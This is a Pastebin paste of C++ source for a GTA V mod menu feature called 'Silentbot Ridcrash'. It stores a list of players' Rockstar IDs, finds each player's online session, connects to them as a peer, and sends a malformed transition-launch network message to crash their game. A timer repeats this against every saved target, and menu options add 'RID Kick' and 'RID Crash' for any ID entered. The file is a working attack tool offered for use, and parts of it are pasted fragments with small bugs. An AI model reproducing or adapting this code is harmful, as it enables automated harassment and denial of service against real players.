Advertisement
Thunder-Menu

gta5 Silentbot Ridcrash

Jan 23rd, 2023 (edited)
859
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C++ 13.91 KB | Gaming | 0 0
  1. namespace attachmentSilent
  2. {
  3.     struct Senderattachment
  4.     {
  5.  
  6.         std::string username;
  7.         std::string rockstarid;
  8.         int timersender;
  9.     };
  10.  
  11.     void to_json(nlohmann::json& j, const Senderattachment& attachment);
  12.     void from_json(const nlohmann::json& j, Senderattachment& attachment);
  13. };
  14.  
  15. namespace attachmentSilent
  16. {
  17.     void to_json(nlohmann::json& j, const attachmentSilent::Senderattachment& attachment) {
  18.         j = nlohmann::json{ {"username", attachment.username},
  19.                             {"rockstarid", attachment.rockstarid},
  20.                             {"timersender", attachment.timersender}
  21.         };
  22.     }
  23.     void from_json(const nlohmann::json& j, attachmentSilent::Senderattachment& attachment) {
  24.         attachment.username = j["username"].get<std::string>();
  25.         attachment.rockstarid = j["rockstarid"].get<std::string>();
  26.         attachment.timersender = j["timersender"].get<int>();
  27.     }
  28. };
  29.  
  30.  
  31. class Silent_persist
  32.     {
  33.     public:
  34.         static bool boolautolistaction;
  35.         static int autolistaction();
  36.         static int listaction(std::string name, std::string actions);
  37.         static void do_presentation_layer2();
  38.         static int Silentpersist();
  39.         static std::string lastname;
  40.     private:
  41.         static void save_location2(std::string name, std::string rockstarid, int timersender);
  42.         static void save_location2(std::string name);
  43.         static void load_location2(std::string name);
  44.         static void delete_location2(std::string name);
  45.         static std::vector<std::string> list_locations2();
  46.         static void save2(std::string name, attachmentSilent::Senderattachment attachment);
  47.         static void save_json2(nlohmann::json json);
  48.         static nlohmann::json get_locations_json2();
  49.         static std::string get_locations_config2();
  50.     };
  51.     extern void makeSilentfolder();
  52.  
  53.     class timersimple {
  54.     private:
  55.         std::uint64_t mreadyat;
  56.         bool mtick;
  57.     public:
  58.         void start(std::uint64_t ticks) {
  59.             if (this->mtick) {
  60.                 this->mreadyat = GetTickCount64() + ticks;
  61.                 this->mtick = false;
  62.             }
  63.         }
  64.         bool is_ready() {
  65.             return GetTickCount64() > this->mreadyat;
  66.         }
  67.         void reset() {
  68.             this->mtick = true;
  69.         }
  70.     };
  71.  
  72.     namespace Silents
  73.     {
  74.         extern void Silentfolder();
  75.         extern std::string username;
  76.         extern std::string rockstarid;
  77.         extern int autolisttimersender;
  78.         extern int timersender;
  79.     }
  80.  
  81.  
  82.  
  83.  
  84.  
  85.  
  86.  
  87.  
  88.  
  89. std::string Silents::username = "";
  90. std::string Silents::rockstarid;
  91. int Silents::timersender = 30;
  92. int Silents::autolisttimersender = 30;
  93.  
  94. int Silent_persist::Silentpersist()
  95. {
  96.     Silent_persist::save_location2(Silents::username);
  97.     return 0;
  98. }
  99.  
  100. int arraysize2 = 0;
  101. int lastarray2 = 0;
  102. int arrayfind2 = 0;
  103. bool arraychange2 = 0;
  104. int changedarray2()
  105. {
  106.     if (arraychange2)
  107.     {
  108.         if (lastarray2 < arraysize2)
  109.         {
  110.             arrayfind2 = lastarray2 + 1;
  111.             lastarray2 = arrayfind2;
  112.             arraychange2 = 0;
  113.         }
  114.         else if (lastarray2 = arraysize2)
  115.         {
  116.             arrayfind2 = 0;
  117.             lastarray2 = arrayfind2;
  118.             arraychange2 = 0;
  119.         }
  120.     }
  121.     return 0;
  122. }
  123. std::string menuarray2 = "";
  124. int intarrayi2 = 0;
  125. bool Silent_persist::boolautolistaction = 0;
  126. int Silent_persist::autolistaction()
  127. {
  128.     /*if (Features::onlineplayer)
  129.     {*/
  130.         if (Silent_persist::boolautolistaction)
  131.         {
  132.             DWORD ticks = GetTickCount64();
  133.             DWORD milliseconds = ticks % 1000;
  134.             ticks /= 1000;
  135.             DWORD seconds = ticks % 60;
  136.             int getTimer = seconds;
  137.             if (getTimer % Silents::timersender == 0)
  138.             {
  139.                 auto Silent_locations = Silent_persist::list_locations2();
  140.                 static std::string selected_Silent2;
  141.                 std::vector<char*> charVeclist(Silent_locations.size(), nullptr);
  142.                 for (int xi = 0; xi < Silent_locations.size(); xi++) {
  143.                     charVeclist[xi] = &Silent_locations[xi][0];
  144.                     arraysize2 = xi;
  145.                 }
  146.                 if (arraysize2 != 0)
  147.                 {
  148.                     changedarray2();
  149.                     std::string stringchar = charVeclist[lastarray2];
  150.                     for (int i = 0; i < 32; i++) {
  151.                         intarrayi2 = i;
  152.                             std::string playerlocations = charVeclist[lastarray2];
  153.                             if (playerlocations != "")
  154.                             {
  155.                                 Silent_persist::load_location2(playerlocations);
  156.                             }
  157.                         if (i == intarrayi2)
  158.                         {
  159.                             arraychange2 = 1;
  160.                         }
  161.                     }
  162.                 }
  163.             }
  164.         }
  165.     /*}*/
  166.     return 0;
  167. }
  168.  
  169.  
  170. int Silent_persist::listaction(std::string name, std::string actions)
  171. {
  172.     simpletime2 simpltime;
  173.     int timer = Silents::timersender * 1000;
  174.     bool checkstatue = 1;
  175.     uint64_t value;
  176.     std::istringstream iss((char*)Silents::rockstarid.c_str());
  177.     iss >> value;
  178.     if (name != "")
  179.     {
  180.         /*DWORD ticks = GetTickCount64();
  181.         DWORD milliseconds = ticks % 1000;
  182.         ticks /= 1000;
  183.         DWORD seconds = ticks % 60;
  184.         int getTimer = seconds;
  185.         if (getTimer % Silents::timersender == 0)
  186.         {*/
  187.             rage2::rlGamerHandle player_handle(value);
  188.             rage2::rlSessionByGamerTaskResult result;
  189.             WAIT(1000);
  190.             bool success = false;
  191.             rage2::rlTaskStatus state{};
  192.  
  193.             DWORD ticks = GetTickCount64();
  194.             DWORD milliseconds = ticks % 1000;
  195.             ticks /= 1000;
  196.             DWORD seconds = ticks % 60;
  197.             int getTimer = seconds;
  198.             if (getTimer % 2 == 0)
  199.             {
  200.             if (g_GameFunctions->m_start_get_session_by_gamer_handle(0, &player_handle, 1, &result, 1, &success, &state))
  201.             {
  202.                 simpltime.start(timer);
  203.                     while (state.status == 1)
  204.                     {
  205.                             WAIT(100);
  206.                     }
  207.                 if (state.status == 3 && success)
  208.                 {
  209.                     crashbyrockstarids(value);
  210.                 }
  211.             }
  212.             }
  213.         /*}*/
  214.     }
  215.     return 0;
  216. }
  217. void Silent_persist::save_location2(std::string name)
  218. {
  219.     attachmentSilent::Senderattachment attachment;
  220.     attachment.username = Silents::username;
  221.     attachment.rockstarid = Silents::rockstarid;
  222.     attachment.timersender = Silents::timersender;
  223.     save2(name, attachment);
  224. }
  225.  
  226. void Silent_persist::load_location2(std::string name)
  227. {
  228.     timersimple ts;
  229.     auto locations = get_locations_json2();
  230.     if (locations[name].is_null())
  231.         return;
  232.     auto model_attachment = locations[name].get<attachmentSilent::Senderattachment>();
  233.  
  234.     Silents::username = model_attachment.username;
  235.     Silents::rockstarid = model_attachment.rockstarid;
  236.     Silents::timersender = model_attachment.timersender;
  237.     int sendertimer = Silents::timersender * 1000;
  238.     ts.start(sendertimer);
  239.     listaction(Silents::username, Silents::rockstarid);
  240. }
  241.  
  242. void Silent_persist::delete_location2(std::string name)
  243. {
  244.     auto locations = get_locations_json2();
  245.     if (locations[name].is_null())
  246.         return;
  247.     locations.erase(name);
  248.     save_json2(locations);
  249. }
  250.  
  251. std::vector<std::string> Silent_persist::list_locations2()
  252. {
  253.     std::vector<std::string> return_value;
  254.     auto json = get_locations_json2();
  255.     for (auto& item : json.items())
  256.         return_value.push_back(item.key());
  257.     return return_value;
  258. }
  259.  
  260. int  resultposs = 0;
  261.  
  262. void Silent_persist::do_presentation_layer2()
  263. {
  264.     Menu::Toggle("Silent", Silent_persist::boolautolistaction);
  265.  
  266.     auto Silent_locations = list_locations2();
  267.     static std::string selected_Silent2;
  268.     int xi = 0;
  269.     std::vector<char*> charVec2(Silent_locations.size(), nullptr);
  270.     for (int i = 0; i < Silent_locations.size(); i++) {
  271.         charVec2[i] = &Silent_locations[i][0];
  272.         xi = i;
  273.     }
  274.     if (xi != 0)
  275.     {
  276.         if (Menu2::ListVector("List", charVec2, resultposs)) {
  277.             char* result2 = charVec2[resultposs];
  278.             selected_Silent2 = result2;
  279.             load_location2(selected_Silent2);
  280.         }
  281.     }
  282.     Menu::Int("List Change Timer ", Silents::autolisttimersender, 10, 500, 1);
  283.     Menu::Int("Timer Sender", Silents::timersender, 10, 500, 1);
  284.     if (Menu::Option("Enter User"))
  285.     {
  286.         Silents::username = CharKeyboardsaveab();
  287.     }
  288.     if (Menu::Option("Enter rockstarID"))
  289.     {
  290.         Silents::rockstarid = CharKeyboardsaveab();
  291.  
  292.  
  293.     }
  294.     if (Menu::Option("Save"))
  295.     {
  296.         Silent_persist::save_location2(Silents::username);
  297.     }
  298.     if (xi != 0)
  299.     {
  300.         if (Menu::Option("Load"))
  301.         {
  302.             if (!selected_Silent2.empty())
  303.             {
  304.                 load_location2(selected_Silent2);
  305.                 selected_Silent2.clear();
  306.             }
  307.         }
  308.         if (Menu::Option("Delete"))
  309.         {
  310.             if (!selected_Silent2.empty())
  311.             {
  312.                 delete_location2(selected_Silent2);
  313.                 selected_Silent2.clear();
  314.             }
  315.         }
  316.     }
  317. }
  318.  
  319. void Silent_persist::save2(std::string name, attachmentSilent::Senderattachment attachment)
  320. {
  321.     auto json = get_locations_json2();
  322.     json[name] = attachment;
  323.     save_json2(json);
  324. }
  325.  
  326. void Silent_persist::save_json2(nlohmann::json json)
  327. {
  328.     auto file_path = get_locations_config2();
  329.     std::ofstream file(file_path, std::ios::out | std::ios::trunc);
  330.     file << json.dump(4);
  331.     file.close();
  332. }
  333.  
  334. nlohmann::json Silent_persist::get_locations_json2()
  335. {
  336.     auto file_path = get_locations_config2();
  337.     nlohmann::json locations;
  338.     std::ifstream file(file_path);
  339.  
  340.     if (!file.fail())
  341.         file >> locations;
  342.  
  343.     return locations;
  344. }
  345. void makeSilentfolder() {
  346.     string Silentstring = Directory::get_current_dir() + "\\ThunderMenu\\Silent\\";
  347. #include <windows.h>
  348.     std::wstring Silentwstring = functions::s2ws(Silentstring);
  349.     LPCWSTR Silentlpcwstr = Silentwstring.c_str();
  350.     if (CreateDirectoryW(Silentlpcwstr, NULL))
  351.     {
  352.         // Directory created
  353.     }
  354.     else if (ERROR_ALREADY_EXISTS == GetLastError())
  355.     {
  356.         // Directory already exists
  357.     }
  358.     else
  359.     {
  360.         // Failed for some other reason
  361.     }
  362. }
  363. char Silentchar[255];
  364. void Silents::Silentfolder()
  365. {
  366.     ifstream Silentstream;
  367.     Silentstream.open(Directory::get_current_dir() + "\\ThunderMenu\\Silent\\");
  368.     if (Silentstream) {
  369.         Silentstream >> Silentchar;
  370.     }
  371.     if (!Silentstream) {
  372.         makeSilentfolder();
  373.     }
  374.     Silentstream.close();
  375. }
  376. std::string Silent_persist::get_locations_config2()
  377. {
  378.     Silents::Silentfolder();
  379.     auto file_path = Directory::get_current_dir();
  380.     file_path += "\\ThunderMenu\\Silent\\";
  381.     file_path += "TheSilent.json";
  382.     return file_path;
  383. }
  384.  
  385.  
  386.  
  387.  
  388.  
  389.  
  390.  
  391.  
  392.  
  393.  
  394. inline void crashbyrockstarids(uint64_t rid)
  395. {
  396.     rage2::rlGamerHandle player_handle(rid);
  397.     rage2::rlScHandle socialclub_handle(rid);
  398.     WAIT(1000);
  399.         rage2::snConnectToPeerTaskData connect_to_peer_data{};
  400.         rage2::snConnectToPeerTaskResult connect_to_peer_result{};
  401.         rage2::rlTaskStatus connect_to_peer_status{};
  402.  
  403.         rage2::rlQueryPresenceAttributesContext query_presence_attributes_context{};
  404.         rage2::rlTaskStatus query_presence_attributes_status{};
  405.         rage2::rlGamerInfoBase peer_address{};
  406.  
  407.         query_presence_attributes_context.m_presence_attibute_type = 3; // string
  408.         strcpy(query_presence_attributes_context.m_presence_attribute_key, "peeraddr");
  409.  
  410.         if (!g_GameVariables->m_StartGetPresenceAttributes(0, &socialclub_handle, &query_presence_attributes_context, 1, &query_presence_attributes_status))
  411.         {
  412.             //g_notification_service->push_error("RID Crash", "Cannot start the query presence attributes rline task");
  413.             return;
  414.         }
  415.  
  416.         while (query_presence_attributes_status.status == 1)
  417.             /*script::get_current()->yield();*/
  418.         {
  419.             simpletime2 simpltime;
  420.             simpltime.start(4000);
  421.                 WAIT(4000);
  422.         }
  423.  
  424.         if (query_presence_attributes_status.status != 3)
  425.         {
  426.             //g_notification_service->push_error("RID Crash", "Querying presence attributes failed");
  427.             return;
  428.         }
  429.  
  430.         connect_to_peer_data.m_unk = 0;
  431.         connect_to_peer_data.m_reason = 5;
  432.         connect_to_peer_data.m_session_token = 0;
  433.  
  434.         g_GameVariables->m_DecodePeerInfo(&peer_address, query_presence_attributes_context.m_presence_attribute_value, nullptr);
  435.         if (!g_GameVariables->m_ConnectToPeer(GetNetwork()->m_game_session.m_net_connection_mgr, &peer_address, &connect_to_peer_data, &connect_to_peer_result, &connect_to_peer_status))
  436.             //if (!g_GameVariables->m_ConnectToPeer(gta_util::get_network()->m_game_session.m_net_connection_mgr, &peer_address, &connect_to_peer_data, &connect_to_peer_result, &connect_to_peer_status))
  437.         {
  438.             //g_notification_service->push_error("RID Crash", "Failed to start a connection with player");
  439.             return;
  440.         }
  441.  
  442.         //g_notification_service->push("RID Crash", "Connecting to player...");
  443.  
  444.         while (connect_to_peer_status.status == 1)
  445.             /*script::get_current()->yield();*/
  446.         {
  447.             simpletime2 simpltime;
  448.             simpltime.start(4000);
  449.                 WAIT(4000);
  450.         }
  451.  
  452.         if (connect_to_peer_status.status != 3)
  453.         {
  454.             //g_notification_service->push_error("RID Crash", "Failed to connect to player");
  455.             return;
  456.         }
  457.  
  458.         rage2::packet msg;
  459.         msg.write_message(eNetMessage::MsgTransitionLaunch);
  460.         msg.send(connect_to_peer_result.m_peer_id, 7);
  461.     //}
  462.     //g_notification_service->push("RID Crash", "Sent transition launch crash");
  463. }
  464.  
  465.  
  466. static void RidCrashplayer(int player)
  467. {
  468.     uint64_t value;
  469.     std::istringstream iss((char*)m_function::GetPlayerRID(player).c_str());
  470.     iss >> value;
  471.     crashbyrockstarid(value);
  472. }
  473.  
  474. static void ridcrash(std::string joinsessions)
  475. {
  476.     uint64_t value;
  477.     std::istringstream iss((char*)joinsessions.c_str());
  478.     iss >> value;
  479.     crashbyrockstarid(value);
  480. }
  481.  
  482.  
  483.  
  484.  
  485.  
  486.  
  487.  
  488.  
  489.             if (Menu::Option("Add to Silentbot Ridcrash")) {
  490.                 Menu::MenuLevelHandler::MoveMenu(SubMenus::mainmenu);
  491.                 Silents::username = Silent_persist::lastname;
  492.                 Silents::rockstarid = std::to_string(Settings::m_RIDJoinerTarget);
  493.                 if (Settings::m_RIDJoinerTarget != NULL)
  494.                 Silent_persist::Silentpersist();           
  495.             }
  496.  
  497.  
  498.  
  499.  
  500.  
  501.  
  502.  
  503.  
  504. #pragma region silentbot
  505.         case silentbot:
  506.         {
  507.             Features::onlinemenuplayerlist = false;
  508.             Menu::Title("Silentbot Ridcrash");
  509.             Silent_persist::do_presentation_layer2();
  510.         }
  511.         break;
  512. #pragma endregion
  513. #pragma region addplayers
  514.         case addplayers:
  515.         {
  516.             Features::onlinemenuplayerlist = false;
  517.             Menu::Title("Player Added");
  518.             headers::thunderheaders();
  519.             if (authentification2::username2 != "")
  520.             {
  521.                 /*if (Menu::Option("joinplayer_Hooks")) {
  522.                 }*/
  523.  
  524.                 if (Menu::Option("RID Joiner")) {
  525.                     ThunderHooks::RIDFunction();
  526.                 }
  527.                 //156380352
  528.  
  529.                 if (Menu::Option("RID Kick")) {
  530.                     notifyMap("Please Wait 10 seconde thanks");
  531.                     std::string joinsessions(CharKeyboardJoin());
  532.                     uint64_t value;
  533.                     std::istringstream iss((char*)joinsessions.c_str());
  534.                     iss >> value;
  535.                     KickByRID(value);
  536.                 }
  537.                 if (Menu::Option("RID Crash")) {
  538.                     notifyMap("Please Wait 10 seconde thanks");
  539.                     std::string joinsessions(CharKeyboardJoin());
  540.                     {
  541.                         ridcrash(joinsessions);
  542.                     }
  543.                 }
  544.             }
  545.             if (Menu::Option("Add A Player")) {
  546.                 persist_addPlayer::saveaplayer();
  547.             }
  548.             persist_addPlayer::do_presentation_layer2();
  549.             Menu::MenuOption("Silentbot Ridcrash", silentbot);
  550.         }
  551.         break;
  552. #pragma endregion
  553.  
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement